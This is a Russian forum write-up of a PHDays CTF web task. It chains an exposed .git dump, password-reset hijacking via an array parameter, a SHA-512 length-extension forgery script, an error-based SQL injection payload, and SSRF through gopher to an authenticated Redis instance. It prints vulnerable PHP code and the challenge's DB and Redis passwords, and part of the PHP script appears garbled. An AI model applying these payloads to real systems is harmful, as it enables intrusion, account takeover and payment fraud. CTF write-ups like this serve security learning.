Сайт
http://zhopify.hackquest.phdays.com/web/
Доступна регистрация, авторизация, восстановление пароля.
После регистрации приходит письмо на почту такого вида:
Сообщение от
None
Hello zhopify-f1NUo.
We have create account for you. Your password is Olf0mish
Account must be validated by administrator. But he is dead right now. Try approve account by yourself
Отправитель письма
admin@zhopify.zhp - запомнил.
Админ умер, обидно.
Потыкал все формы на xss/sql - ничего.
Погрустил, запустил dirbuster который обнаружил .git директорию.
Доступными инструментами спарсить гит не удалось т.к. после 2 запроса IP банится на ~10 минут.
Написал дампер гита на php с поддержкой соксов.
https://gist.github.com/firsov/734b9...f72eb83b9b607b
Создаем временную папку, выполняем команду git init, скачиваем ./git/index файл с zhopify сайта и кладем в папку .git
Выходим из папки .git выше и выполняем команду git ls-files > files.txt
Теперь у нас есть огромный список файлов гита zhopify.
Дальше запускаем скрипт и ждем.
В гите оказалось около 3000 файлов мусора, там и wordpress и laravel и kohana и yii, ничего что могло бы нам помочь.
Интересным оказался файл controllers/PayController.php, но на данном этапе он нам ничего не давал.
Еще раз погрустил. Потом прилетел хинт про форму восстановления пароля.
В форме указывается email адрес в поле с именем
.
Сделал запрос такого вида:
Код:
ForgotForm[email][]=admin@zhopify.com
ForgotForm[email][]=mymail@gmail.com
На почту прилетело письмо
Вот прикол!
Изменил пароль админу, захожу под ним, в админке вбиваю свой аккаунт, активирую его и ставлю статус developer. Больше в админке делать нечего.
Захожу под своим аккаунтом. В профиле есть возможность купить план Elite за 31337$, но пополнение баланса не работает.
Вспоминаю файл controllers/PayController.php из гита
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]public function[/COLOR][COLOR="#0000BB"]actionCheck[/COLOR][COLOR="#007700"]()
{
[/COLOR][COLOR="#FF8000"]// 1 usd pay test — {id: 1,
//amount: 1,
//system: 'liqpay',
//email: 'admin@localhost',
//plan: 'elite',
//signature: '131e8bde0e05873a50b3f0fd112e53e59260038e96822740062f5bbb8cce08c0efe25d5f83dad5efcc1a6895dcd28c4c0702a7e0c8f0d2e843b854c215eadbb5'}
[/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]Yii[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]isAjax[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]Yii[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]response[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]format[/COLOR][COLOR="#007700"]= \[/COLOR][COLOR="#0000BB"]yii[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]web[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Response[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]FORMAT_JSON[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]Yii[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]();
if(!empty([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'signature'[/COLOR][COLOR="#007700"]])) {
if( !empty([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]) && !empty([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]]) && !empty([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'plan'[/COLOR][COLOR="#007700"]]) && !empty([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'amount'[/COLOR][COLOR="#007700"]]) && !empty([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'system'[/COLOR][COLOR="#007700"]]) ) {
if([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]checkSign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) ===[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]) {
if([/COLOR][COLOR="#0000BB"]Yii[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]) {
[/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]User[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]findIdentity[/COLOR][COLOR="#007700"]([[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]Yii[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]]);
if([/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]balance[/COLOR][COLOR="#007700"]+=[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'amount'[/COLOR][COLOR="#007700"]];
if([/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]save[/COLOR][COLOR="#007700"]()) {
return [[/COLOR][COLOR="#DD0000"]'ok'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Balance updated!'[/COLOR][COLOR="#007700"]];
}
}
}
}
}
}
return [[/COLOR][COLOR="#DD0000"]'error'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Fatal error!'[/COLOR][COLOR="#007700"]];
}
return[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]render[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'pay'[/COLOR][COLOR="#007700"], [[/COLOR][COLOR="#DD0000"]'error'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Fatal error! Wrong singature!'[/COLOR][COLOR="#007700"]]);
}
private function[/COLOR][COLOR="#0000BB"]checkSign[/COLOR][COLOR="#007700"](array[/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]ksort[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$secretKey[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]Yii[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]params[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'PAY_KEY1'[/COLOR][COLOR="#007700"]];
} else {
[/COLOR][COLOR="#0000BB"]$secretKey[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]Yii[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]params[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'PAY_KEY2'[/COLOR][COLOR="#007700"]];
}
[/COLOR][COLOR="#0000BB"]$sign[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'signature'[/COLOR][COLOR="#007700"]];
unset([/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'signature'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]implode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$m[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]hash[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'sha512'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'check:'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$secretKey[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]$m[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]$sign[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR]
Сразу понятно - Length extension attack. Подробно описывать я ее не буду, в гугле полно информации.
Эта часть далась довольно быстро потому что буквально неделю назад похожую задачу решал в другой ctf.
Скрипт такой:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]// (c) mailbrush
[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'1:admin@localhost:1:elite:liqpay'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$orig_sig[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'131e8bde0e05873a50b3f0fd112e53e59260038e96822740062f5bbb8cce08c0efe25d5f83dad5efcc1a6895dcd28c4c0702a7e0c8f0d2e843b854c215eadbb5'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$inject[/COLOR][COLOR="#007700"]= [[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]130[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'system'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'a'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'b'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'plan'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'c'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'amount'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]500000
[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]ksort[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$inject[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$append[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]implode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$inject[/COLOR][COLOR="#007700"]);
for([/COLOR][COLOR="#0000BB"]$len[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$len[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]'yii\\db\\Connection'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'dsn'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'mysql:host=localhost;dbname=zhopify'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'username'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'zhopify'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'uqBbFAWx/&:G6KNQRTtS'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'charset'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'utf8'[/COLOR][COLOR="#007700"],
];[/COLOR][/COLOR]
Еще немного почитал исходники и стало понятно, что в импорте поля prefix и table уязвимы к SQL injection:
В Mysql Import указываем 127.0.0.1 3306, данные из конфига, database zhopify, table пусто, в префикс SQL query:
Сообщение от
None
products` where 1=1 |(select!x-~0.FROM(select+(select flag from flag.flag)x)f)-- f
Получаем error based sql inj
Flag 1: Welcome back to Megatask version two point zero.
От флага посмеялся от души.
Дальше хинтанули, что второй флаг лежит в редисе.
Снаружи к нему подрубиться нельзя, в читалке gopher не работает.
Нашелся файл ../.htaccess
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][COLOR="#0000BB"]Order allow[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]deny
Allow from 127.0.0.1
[/COLOR][COLOR="#007700"][/COLOR][/COLOR]
В /etc/hosts был найден алиас 127.0.0.1 zhopify.zhp
Через читалку обращаемся к
http://zhopify.zhp/testCURLimage.php , отлично, существует!
Читаем содержимое файла:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (!empty([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'u'[/COLOR][COLOR="#007700"]])) {
[/COLOR][COLOR="#0000BB"]$url_array[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]parse_url[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'u'[/COLOR][COLOR="#007700"]]);
if ([/COLOR][COLOR="#0000BB"]$url_array[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#0000BB"]FALSE[/COLOR][COLOR="#007700"]) {
if (!empty([/COLOR][COLOR="#0000BB"]$url_array[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'scheme'[/COLOR][COLOR="#007700"]]) && ![/COLOR][COLOR="#0000BB"]in_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]strtolower[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url_array[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'scheme'[/COLOR][COLOR="#007700"]]), [[/COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'dict'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'ftp'[/COLOR][COLOR="#007700"]]) ) {
if (!empty([/COLOR][COLOR="#0000BB"]$url_array[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'host'[/COLOR][COLOR="#007700"]]) && !empty([/COLOR][COLOR="#0000BB"]$url_array[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'path'[/COLOR][COLOR="#007700"]])) {
[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]basename[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url_array[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'path'[/COLOR][COLOR="#007700"]]);
if (!empty([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]$ext[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]pathinfo[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]PATHINFO_EXTENSION[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$ext[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'jpg'[/COLOR][COLOR="#007700"]) {
if ([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_init[/COLOR][COLOR="#007700"]()) {
die;
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_URL[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'u'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_HEADER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_CONNECTTIMEOUT[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_RETURNTRANSFER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_FOLLOWLOCATION[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_RANGE[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"1-1024*1024*1"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$out[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_exec[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$out[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]curl_close[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) {
print[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"];
}
}
}
}
}
}
}
}[/COLOR][/COLOR]
SSRF налицо.
Необходимо передавать расширение jpg чтобы он выполнился.
Попробуем доступен ли здесь gopher.
Читаем файл так:
Запрос есть - отлично.
Чтобы расширение jpg не ломало запрос к редису, делать мы будем его так:
Сообщение от
None
keys *
quit
1.jpg
После quit будет выход из редиса со статусом OK.
Теперь мы можем обратиться к редису через gopher.
Запрос
Ответ: NOAUTH Authentication required. OK
Читаем конфиг /etc/redis/redis.conf
Пароль
requirepass 78109f951153fd3bdcf4715bf041c96c76b17bad
Делаем запрос
Сообщение от
None
AUTH 78109f951153fd3bdcf4715bf041c96c76b17bad
keys *
quit
1.jpg
Ответ: $45 4bc37760d3d60167126e7f3ef5067d301e5c6606_FLAG
Следующий запрос
Сообщение от
None
AUTH 78109f951153fd3bdcf4715bf041c96c76b17bad
get 4bc37760d3d60167126e7f3ef5067d301e5c6606_FLAG
quit
1.jpg
Ответ и флаг: Nice to see your asses here again!
Отличное задание!
Настоящий shopify заплатил бы за такое 31337$
Спасибо за помощь в решении таска mailbrush и yarbabin.